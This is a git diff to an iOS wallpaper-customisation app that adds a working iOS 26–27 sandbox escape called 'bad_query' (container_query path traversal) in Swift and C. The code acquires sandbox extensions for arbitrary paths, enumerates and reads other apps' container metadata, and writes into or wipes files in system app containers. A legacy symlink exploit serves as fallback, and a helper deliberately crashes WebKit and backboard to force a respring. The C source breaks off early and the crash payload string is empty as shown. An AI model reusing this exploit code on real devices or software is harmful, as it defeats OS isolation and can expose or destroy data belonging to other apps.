diff --git a/Pocket Poster.xcodeproj/project.pbxproj b/Pocket Poster.xcodeproj/project.pbxproj
index 60e4615..b2c7c35 100644
--- a/Pocket Poster.xcodeproj/project.pbxproj
+++ b/Pocket Poster.xcodeproj/project.pbxproj
@@ -16,9 +16,24 @@
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
/* End PBXFileReference section */
+/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
+ BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
+ isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
+ buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
+ membershipExceptions = (
+ Exploit/bad_query.h,
+ "Exploit/Pocket-Poster-Bridging-Header.h",
+ "Exploit/xpc_crash.h",
+ );
+ };
+/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
+
/* Begin PBXFileSystemSynchronizedRootGroup section */
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
isa = PBXFileSystemSynchronizedRootGroup;
+ exceptions = (
+ BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
+ );
explicitFolders = (
Resources/VideoCAML,
);
@@ -272,11 +287,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
- CURRENT_PROJECT_VERSION = 0;
+ CURRENT_PROJECT_VERSION = 3;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
+ HEADER_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/Pocket Poster/Exploit\"",
+ );
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -289,10 +308,11 @@
"$(inherited)",
"@executable_path/Frameworks",
);
- MARKETING_VERSION = 3.0;
- PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
+ MARKETING_VERSION = 3.2.2;
+ PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
+ SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -304,11 +324,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
- CURRENT_PROJECT_VERSION = 0;
+ CURRENT_PROJECT_VERSION = 3;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
+ HEADER_SEARCH_PATHS = (
+ "$(inherited)",
+ "\"$(SRCROOT)/Pocket Poster/Exploit\"",
+ );
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -321,10 +345,11 @@
"$(inherited)",
"@executable_path/Frameworks",
);
- MARKETING_VERSION = 3.0;
- PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
+ MARKETING_VERSION = 3.2.2;
+ PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
+ SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json
new file mode 100644
index 0000000..ccd60a6
--- /dev/null
+++ b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json
@@ -0,0 +1,21 @@
+{
+ "images" : [
+ {
+ "idiom" : "universal",
+ "scale" : "1x"
+ },
+ {
+ "filename" : "Mak5er@2x.png",
+ "idiom" : "universal",
+ "scale" : "2x"
+ },
+ {
+ "idiom" : "universal",
+ "scale" : "3x"
+ }
+ ],
+ "info" : {
+ "author" : "xcode",
+ "version" : 1
+ }
+}
diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png
new file mode 100644
index 0000000..1da329f
Binary files /dev/null and b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png differ
diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png
new file mode 100644
index 0000000..1da329f
Binary files /dev/null and b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png differ
diff --git a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift
index 6a094f5..2ff49c6 100644
--- a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift
+++ b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift
@@ -134,13 +134,32 @@ class CarPlayManager {
}
}
- // symlink and apply
- let _ = try SymHandler.createAppSymlink(for: "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images")
defer {
SymHandler.cleanup()
}
- for imgURL in toRemove {
- try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
+
+ let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
+ if SymHandler.prefersBadQuery {
+ let destPath = BadQuery.carPlayCachePath(appHash: appHash)
+ do {
+ try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
+ // remove local staging copies after successful write
+ for imgURL in toRemove {
+ try? FileManager.default.removeItem(at: imgURL)
+ }
+ } catch {
+ print("bad_query CarPlay failed, falling back to symlink: \(error)")
+ let _ = try SymHandler.createAppSymlink(for: cacheRel)
+ for imgURL in toRemove {
+ try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
+ }
+ }
+ } else {
+ // legacy symlink + trashItem
+ let _ = try SymHandler.createAppSymlink(for: cacheRel)
+ for imgURL in toRemove {
+ try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
+ }
}
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
diff --git a/Pocket Poster/Controllers/PosterBoardManager.swift b/Pocket Poster/Controllers/PosterBoardManager.swift
index 69104a9..2039f32 100644
--- a/Pocket Poster/Controllers/PosterBoardManager.swift
+++ b/Pocket Poster/Controllers/PosterBoardManager.swift
@@ -30,12 +30,16 @@ class PosterBoardManager: ObservableObject {
}
func setSystemLanguage(to new_lang: String) -> Bool {
+ // Load Preferences private frameworks if needed
+ dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
+ dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
+ dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
+
var langManager: NSObject = NSObject()
if #available(iOS 18.0, *) {
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
langManager = obj
} else {
- // TODO: Need to find the correct class for this on iOS 17
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
langManager = obj
}
@@ -47,6 +51,63 @@ class PosterBoardManager: ObservableObject {
return false
}
+ /// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
+ /// Falls back to language-toggle trick on older exploit path.
+ func resetCollections(appHash: String) throws {
+ if SymHandler.prefersBadQuery {
+ try wipeDescriptorsViaBadQuery(appHash: appHash)
+ return
+ }
+
+ // Legacy: language toggle forces PosterBoard to rebuild collections
+ guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
+ throw ApplyError.unexpected(info: "Could not read system language for reset.")
+ }
+ guard setSystemLanguage(to: lang) else {
+ throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
+ }
+ }
+
+ /// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
+ private func wipeDescriptorsViaBadQuery(appHash: String) throws {
+ let ver = SymHandler.getExtensionVersion()
+ let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
+ + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
+
+ // Open parent with sandbox extension
+ let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
+ defer { rootHandle.release() }
+
+ let fm = FileManager.default
+ guard fm.fileExists(atPath: extensionsRoot) else {
+ // Nothing to wipe — treat as success (collections already empty / never set up)
+ return
+ }
+
+ let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
+ var wiped = 0
+ for extName in extDirs {
+ let descriptorsPath = (extensionsRoot as NSString)
+ .appendingPathComponent(extName)
+ .appending("/descriptors")
+
+ // Ensure we hold an extension on the descriptors dir itself
+ let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
+ defer { descHandle?.release() }
+
+ guard fm.fileExists(atPath: descriptorsPath) else { continue }
+
+ let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
+ for item in items {
+ if item == "__MACOSX" || item.hasPrefix(".") { continue }
+ let full = (descriptorsPath as NSString).appendingPathComponent(item)
+ try? fm.removeItem(atPath: full)
+ wiped += 1
+ }
+ }
+ print("resetCollections: wiped \(wiped) descriptor item(s)")
+ }
+
func openPosterBoard() -> Bool {
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
@@ -70,7 +131,6 @@ class PosterBoardManager: ObservableObject {
if !FileManager.default.fileExists(atPath: path.path()) {
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
}
- let url = path.appending(path: fileName)
// Remove All files in this directory
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
@@ -78,17 +138,17 @@ class PosterBoardManager: ObservableObject {
{
try FileManager.default.removeItem(at: fileUrl)
}
- let url = path.appending(path: normalizedFileName)
+ let zipURL = path.appending(path: normalizedFileName)
// Save our Zip file
- try fileData.write(to: url, options: [.atomic])
+ try fileData.write(to: zipURL, options: [.atomic])
// Unzip the Zipped Up File
var destinationURL = path
- if FileManager.default.fileExists(atPath: url.path())
+ if FileManager.default.fileExists(atPath: zipURL.path())
{
destinationURL.append(path: "directory")
- try fileManager.unzipItem(at: url, to: destinationURL)
+ try fileManager.unzipItem(at: zipURL, to: destinationURL)
}
return destinationURL
@@ -213,20 +273,34 @@ class PosterBoardManager: ObservableObject {
SymHandler.cleanup()
}
+ let useBadQuery = SymHandler.prefersBadQuery
+ if useBadQuery {
+ UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
+ }
+
for (ext, descriptorsList) in extList {
- let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
+ var foldersToWrite: [URL] = []
for descriptors in descriptorsList {
- // create the folder
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if descr.lastPathComponent != "__MACOSX" {
try randomizeWallpaperId(url: descr)
- let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
- try FileManager.default.moveItem(at: descr, to: newURL)
-
- try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
+ foldersToWrite.append(descr)
}
}
}
+
+ if useBadQuery {
+ // iOS 26/27: direct write via container_query sandbox extension
+ do {
+ try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
+ } catch {
+ // Fall back to legacy .Trash symlink if bad_query path fails
+ print("bad_query apply failed, falling back to symlink: \(error)")
+ try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
+ }
+ } else {
+ try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
+ }
SymHandler.cleanup()
}
@@ -238,6 +312,16 @@ class PosterBoardManager: ObservableObject {
}
}
+ /// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
+ private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
+ let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
+ for descr in folders {
+ let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
+ try FileManager.default.copyItem(at: descr, to: newURL)
+ try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
+ }
+ }
+
static func clearCache() throws {
SymHandler.cleanup()
let docDir = SymHandler.getDocumentsDirectory()
diff --git a/Pocket Poster/Controllers/RespringHelper.swift b/Pocket Poster/Controllers/RespringHelper.swift
new file mode 100644
index 0000000..277b414
--- /dev/null
+++ b/Pocket Poster/Controllers/RespringHelper.swift
@@ -0,0 +1,124 @@
+//
+// RespringHelper.swift
+// Pocket Poster
+//
+// Mond-style instant respring (WebKit GPU crash @neonmodder123).
+// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
+//
+
+import Foundation
+import UIKit
+import WebKit
+import ObjectiveC
+
+enum RespringHelper {
+
+ /// Keep the respring window alive until the process dies.
+ private static var stickyWindow: UIWindow?
+ private static var stickyWebView: WKWebView?
+
+ /// Direct crash payload (inner document from Mond — no outer iframe delay).
+ /// Credit: @neonmodder123 / Mond
+ private static let crashHTML = """
+
+ """
+
+ /// Instant full respring (Mond path). Safe under LiveContainer.
+ static func respring() {
+ #if targetEnvironment(simulator)
+ print("respring skipped on simulator")
+ return
+ #else
+ // Must be main thread for UIWindow / WKWebView
+ if !Thread.isMainThread {
+ DispatchQueue.main.async { fireNow() }
+ return
+ }
+ fireNow()
+ #endif
+ }
+
+ static func respringNow() { respring() }
+
+ private static func fireNow() {
+ UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
+
+ // 1) Kill any alerts instantly so nothing blocks rendering
+ currentUIAlertController?.dismiss(animated: false)
+ currentUIAlertController = nil
+
+ // 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
+ let config = WKWebViewConfiguration()
+ config.websiteDataStore = .nonPersistent()
+ let prefs = WKWebpagePreferences()
+ prefs.allowsContentJavaScript = true
+ config.defaultWebpagePreferences = prefs
+ // Shared process pool warms slightly faster on repeat
+ config.processPool = WKProcessPool()
+
+ let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
+ webView.isOpaque = false
+ webView.backgroundColor = .black
+ webView.scrollView.isScrollEnabled = false
+ webView.scrollView.backgroundColor = .black
+
+ // Load payload immediately — don't wait for layout/appear
+ webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
+ stickyWebView = webView
+
+ // 3) Slap it on a top-level window (no present animation, no host VC)
+ let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
+ let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
+
+ let window: UIWindow
+ if let scene {
+ window = UIWindow(windowScene: scene)
+ window.frame = scene.coordinateSpace.bounds
+ } else {
+ window = UIWindow(frame: UIScreen.main.bounds)
+ }
+ window.windowLevel = .alert + 100
+ window.backgroundColor = .black
+ window.isHidden = false
+
+ let host = UIViewController()
+ host.view.backgroundColor = .black
+ host.view.addSubview(webView)
+ webView.frame = host.view.bounds
+ webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
+ window.rootViewController = host
+ window.makeKeyAndVisible()
+ stickyWindow = window
+
+ // Force a layout pass so WebKit starts compositing now
+ window.layoutIfNeeded()
+ webView.setNeedsLayout()
+ webView.layoutIfNeeded()
+
+ // Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
+ webView.loadHTMLString(crashHTML, baseURL: nil)
+
+ // 4) Outside LiveContainer, also hit XPC immediately (no delay)
+ let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
+ || Bundle.main.bundlePath.contains("LiveContainer")
+ if !inLC {
+ restartFrontboard()
+ restartBackboard()
+ }
+ }
+}
diff --git a/Pocket Poster/Controllers/SymHandler.swift b/Pocket Poster/Controllers/SymHandler.swift
index 417e590..ad6b70d 100644
--- a/Pocket Poster/Controllers/SymHandler.swift
+++ b/Pocket Poster/Controllers/SymHandler.swift
@@ -34,7 +34,12 @@ class SymHandler {
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
}
- // MARK: Symlink Creation
+ /// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
+ static var prefersBadQuery: Bool {
+ BadQuery.isAvailable
+ }
+
+ // MARK: Symlink Creation (legacy exploit for older iOS)
static func createSymlink(to path: String) throws -> URL {
// returns the url of the symlink
let symURL = getSymlinkURL()
@@ -64,6 +69,47 @@ class SymHandler {
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
}
+ // MARK: Direct write via bad_query
+
+ /// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
+ static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
+ let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
+ print("bad_query writing to \(destPath)")
+
+ // Ensure descriptors directory exists (open parent chain if needed)
+ try BadQuery.ensureDirectory(at: destPath)
+
+ let handle = try BadQuery.consume(path: destPath, create: true)
+ defer { handle.release() }
+
+ let fm = FileManager.default
+ for descr in descriptorFolders {
+ guard descr.lastPathComponent != "__MACOSX" else { continue }
+ let destName = UUID().uuidString
+ let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
+ if fm.fileExists(atPath: destURL.path) {
+ try fm.removeItem(at: destURL)
+ }
+ try fm.copyItem(at: descr, to: destURL)
+ }
+ }
+
+ /// Copy files into an absolute directory under an app container via bad_query.
+ static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
+ try BadQuery.ensureDirectory(at: destPath)
+ let handle = try BadQuery.consume(path: destPath, create: true)
+ defer { handle.release() }
+
+ let fm = FileManager.default
+ for file in files {
+ let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
+ if fm.fileExists(atPath: destURL.path) {
+ try fm.removeItem(at: destURL)
+ }
+ try fm.copyItem(at: file, to: destURL)
+ }
+ }
+
static func cleanup() {
// remove the symlink if it exists
let symURL = getSymlinkURL()
diff --git a/Pocket Poster/Exploit/BadQuery.swift b/Pocket Poster/Exploit/BadQuery.swift
new file mode 100644
index 0000000..cc74d63
--- /dev/null
+++ b/Pocket Poster/Exploit/BadQuery.swift
@@ -0,0 +1,282 @@
+//
+// BadQuery.swift
+// Pocket Poster
+//
+// Swift wrapper around forcequitOS/bad_query sandbox escape
+// (container_query path traversal via MobileGestalt SystemGroup).
+// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
+//
+
+import Foundation
+
+enum BadQueryError: LocalizedError {
+ case invalidPath
+ case missingPath
+ case resolveFailed
+ case createFailed
+ case outsideSandbox
+ case kernelRejected
+ case asprintfFailed
+ case unknown(Int64)
+ case listFailed
+ case containerNotFound(String)
+
+ var errorDescription: String? {
+ switch self {
+ case .invalidPath:
+ return "Path must be absolute."
+ case .missingPath:
+ return "Target path does not exist."
+ case .resolveFailed:
+ return "Failed to resolve containermanager symbols."
+ case .createFailed:
+ return "Failed to create container query."
+ case .outsideSandbox:
+ return "Path is outside containermanager sandbox."
+ case .kernelRejected:
+ return "Kernel refused to issue a sandbox extension."
+ case .asprintfFailed:
+ return "Failed to build path traversal string."
+ case .unknown(let code):
+ return "bad_query failed with code \(code)."
+ case .listFailed:
+ return "Failed to enumerate containers (fsgetpath)."
+ case .containerNotFound(let bundleId):
+ return "Could not find container for \(bundleId)."
+ }
+ }
+
+ static func from(code: Int64) -> BadQueryError {
+ switch code {
+ case -255: return .invalidPath
+ case -254: return .missingPath
+ case -1: return .resolveFailed
+ case -2: return .createFailed
+ case -3: return .outsideSandbox
+ case -4: return .kernelRejected
+ case -5: return .asprintfFailed
+ default: return .unknown(code)
+ }
+ }
+}
+
+/// RAII-style sandbox extension handle.
+final class BadQueryHandle {
+ private(set) var handle: Int64
+ let path: String
+
+ init(handle: Int64, path: String) {
+ self.handle = handle
+ self.path = path
+ }
+
+ deinit {
+ release()
+ }
+
+ func release() {
+ guard handle >= 0 else { return }
+ bad_query_release(handle)
+ handle = -1
+ }
+}
+
+enum BadQuery {
+ /// PosterBoard / related bundle identifiers.
+ static let posterBoardBundleId = "com.apple.PosterBoard"
+ static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
+
+ // MARK: - Availability
+
+ /// True when the MobileGestalt system-group query route resolves symbols.
+ /// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
+ static var isAvailable: Bool {
+ // Probe with a path that should always exist on device; create=true skips lstat
+ // so we only fail if symbols/query plumbing is broken (patched OS).
+ let probe = "/var/mobile"
+ var cPath = probe.utf8CString.map { Int8($0) }
+ let result = bad_query(&cPath, true, nil, false)
+ if result >= 0 {
+ bad_query_release(result)
+ return true
+ }
+ // -3/-4 mean query ran but path/token failed; symbols still work
+ if result == -3 || result == -4 || result == -254 {
+ return true
+ }
+ // -1/-2 = symbols/query broken
+ return result != -1 && result != -2
+ }
+
+ // MARK: - Consume / Release
+
+ /// Obtain a sandbox extension for an absolute path.
+ /// - Parameters:
+ /// - path: Absolute filesystem path
+ /// - create: If true, skip existence check (use when lstat is blocked by sandbox)
+ /// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
+ /// - isGroup: iOS 26 App Group flag route
+ @discardableResult
+ static func consume(
+ path: String,
+ create: Bool = false,
+ groupIdentifier: String? = nil,
+ isGroup: Bool = false
+ ) throws -> BadQueryHandle {
+ guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
+
+ var cPath = path.utf8CString.map { Int8($0) }
+ let handle: Int64
+ if let group = groupIdentifier {
+ var cGroup = group.utf8CString.map { Int8($0) }
+ handle = bad_query(&cPath, create, &cGroup, isGroup)
+ } else {
+ handle = bad_query(&cPath, create, nil, isGroup)
+ }
+
+ guard handle >= 0 else {
+ // Retry with create=true if existence check failed under sandbox
+ if !create && handle == -254 {
+ return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
+ }
+ throw BadQueryError.from(code: handle)
+ }
+ return BadQueryHandle(handle: handle, path: path)
+ }
+
+ // MARK: - Listing
+
+ /// Enumerate immediate children under `path` via fsgetpath inode scan.
+ static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
+ var cPath = path.utf8CString.map { Int8($0) }
+ guard let raw = bad_query_list(&cPath, maxInode) else {
+ throw BadQueryError.listFailed
+ }
+ defer { free(raw) }
+ let str = String(cString: raw)
+ return str
+ .split(whereSeparator: \.isNewline)
+ .map(String.init)
+ .filter { !$0.isEmpty }
+ }
+
+ // MARK: - Container discovery
+
+ private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
+
+ /// Read MCMMetadataIdentifier from a container root, using bad_query for access.
+ static func readBundleId(fromContainerPath containerPath: String) -> String? {
+ let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
+ guard let token = try? consume(path: metaPath, create: true) else { return nil }
+ defer { token.release() }
+
+ guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
+ // Some layouts use a non-hidden name
+ let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
+ if let altToken = try? consume(path: alt, create: true) {
+ defer { altToken.release() }
+ if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
+ return d["MCMMetadataIdentifier"] as? String
+ }
+ }
+ return nil
+ }
+ return dict["MCMMetadataIdentifier"] as? String
+ }
+
+ /// Find application container UUID for a bundle identifier (on-device, no PC).
+ static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
+ let roots = searchRoots ?? [
+ "/var/mobile/Containers/Data/Application",
+ "/var/mobile/Containers/Data/InternalDaemon",
+ "/var/mobile/Containers/Data/PluginKitPlugin"
+ ]
+
+ for root in roots {
+ let children: [String]
+ do {
+ children = try list(path: root)
+ } catch {
+ continue
+ }
+
+ for child in children {
+ let uuid = (child as NSString).lastPathComponent
+ // Normalize to the root we know
+ let containerPath = "\(root)/\(uuid)"
+ if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
+ return uuid
+ }
+ }
+ }
+
+ throw BadQueryError.containerNotFound(targetBundleId)
+ }
+
+ static func findPosterBoardHash() throws -> String {
+ try findAppHash(bundleId: posterBoardBundleId)
+ }
+
+ static func findCarPlayHash() throws -> String {
+ try findAppHash(bundleId: carPlayWallpaperBundleId)
+ }
+
+ // MARK: - Path helpers
+
+ static func applicationContainerPath(appHash: String) -> String {
+ "/var/mobile/Containers/Data/Application/\(appHash)"
+ }
+
+ static func descriptorsPath(appHash: String, ext: String) -> String {
+ let ver = SymHandler.getExtensionVersion()
+ return applicationContainerPath(appHash: appHash)
+ + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
+ }
+
+ static func carPlayCachePath(appHash: String) -> String {
+ applicationContainerPath(appHash: appHash)
+ + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
+ }
+
+ // MARK: - File ops under extension
+
+ /// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
+ static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
+ let destName = name ?? source.lastPathComponent
+ let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
+ let fm = FileManager.default
+ if fm.fileExists(atPath: destURL.path) {
+ try fm.removeItem(at: destURL)
+ }
+ try fm.copyItem(at: source, to: destURL)
+ }
+
+ /// Ensure a directory exists at path while holding a parent extension if needed.
+ static func ensureDirectory(at path: String) throws {
+ let fm = FileManager.default
+ if fm.fileExists(atPath: path) { return }
+
+ // Walk up to find an existing ancestor we can open, then create intermediates
+ let components = path.split(separator: "/").map(String.init)
+ var built = ""
+ var lastExisting = ""
+ for part in components {
+ built += "/" + part
+ if fm.fileExists(atPath: built) {
+ lastExisting = built
+ }
+ }
+
+ if lastExisting.isEmpty {
+ // Get extension on the full path with create=true and mkdir
+ let handle = try consume(path: path, create: true)
+ defer { handle.release() }
+ try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
+ return
+ }
+
+ let handle = try consume(path: lastExisting, create: true)
+ defer { handle.release() }
+ try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
+ }
+}
diff --git a/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h
new file mode 100644
index 0000000..203ced8
--- /dev/null
+++ b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h
@@ -0,0 +1,9 @@
+//
+// Pocket-Poster-Bridging-Header.h
+// Pocket Poster
+//
+// Exposes C exploit helpers to Swift.
+//
+
+#import "bad_query.h"
+#import "xpc_crash.h"
diff --git a/Pocket Poster/Exploit/bad_query.c b/Pocket Poster/Exploit/bad_query.c
new file mode 100644
index 0000000..730095c
--- /dev/null
+++ b/Pocket Poster/Exploit/bad_query.c
@@ -0,0 +1,183 @@
+//
+// bad_query.c
+// bad_query
+//
+// Created by Taj C on 7/21/26.
+//
+
+#include "bad_query.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+
+typedef void *(*container_query_create_fn)(void);
+typedef void (*container_query_set_class_fn)(void *, uint64_t);
+typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
+typedef void (*container_query_set_flags_fn)(void *, uint64_t);
+typedef void (*container_query_set_part_fn)(void *, uint64_t);
+typedef void (*container_query_set_part_domain_fn)(void *, const char *);
+typedef void *(*container_query_get_single_result_fn)(void *);
+typedef void (*container_query_free_fn)(void *);
+typedef char *(*container_copy_sandbox_token_fn)(void *);
+typedef int64_t (*sandbox_extension_consume_fn)(const char *);
+typedef int (*sandbox_extension_release_fn)(int64_t);
+
+int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
+ // Sanity check our path and check if something already exists there
+ if (!path || path[0] != '/') return -255; // Not an absolute path
+ if (!create) {
+ struct stat st;
+ if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
+ }
+
+ // Now the fun begins
+ void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
